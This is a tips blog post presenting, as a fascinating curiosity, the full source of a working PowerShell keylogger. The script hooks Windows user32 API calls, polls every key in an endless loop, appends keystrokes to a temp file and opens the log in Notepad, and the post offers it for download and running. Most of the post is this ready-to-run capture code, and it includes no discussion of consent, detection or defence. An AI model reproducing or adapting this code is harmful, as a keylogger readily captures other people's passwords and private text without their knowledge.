Creating a Simple Keylogger using PowerShell [Download]

We all know that PowerShell is a powerful scripting tool on Windows but this little sample of creating a simple keylogger program purely from PowerShell is definitely taking the power to a different level. Credit goes to PowerShell.com for making this happen.

See the code below for your reference but you can also skip to the bottom to download the source code and run it to see how it works as well. Basically, by engaging the Windows low-level API functions, this script constantly monitor the keyboard for keypresses and log these to a temporary file in your temporary folder and displays the content in Notepad when it’s done.

#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success) 
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
}
}
}
}
}
finally
{
# open logger file in Notepad
notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger

Windows PowerShell ISE - 2015-12-10 11_05_13

It’s quite fascinating seeing what PowerShell can do. Simply download the file from below and Run it with PowerShell from the context menu.

Kent Chen

Microsoft MVP, IT Professional, Developer, Geek, and the co-founder of Next of Windows.

Last updated: 12/10/2015

Posted in: Tips & Tricks
Discover more: ,

Leave a Reply

Notify of
avatar
wpDiscuz
Today's Top Picks for Our Readers:
Recommended by Recommended by NetLine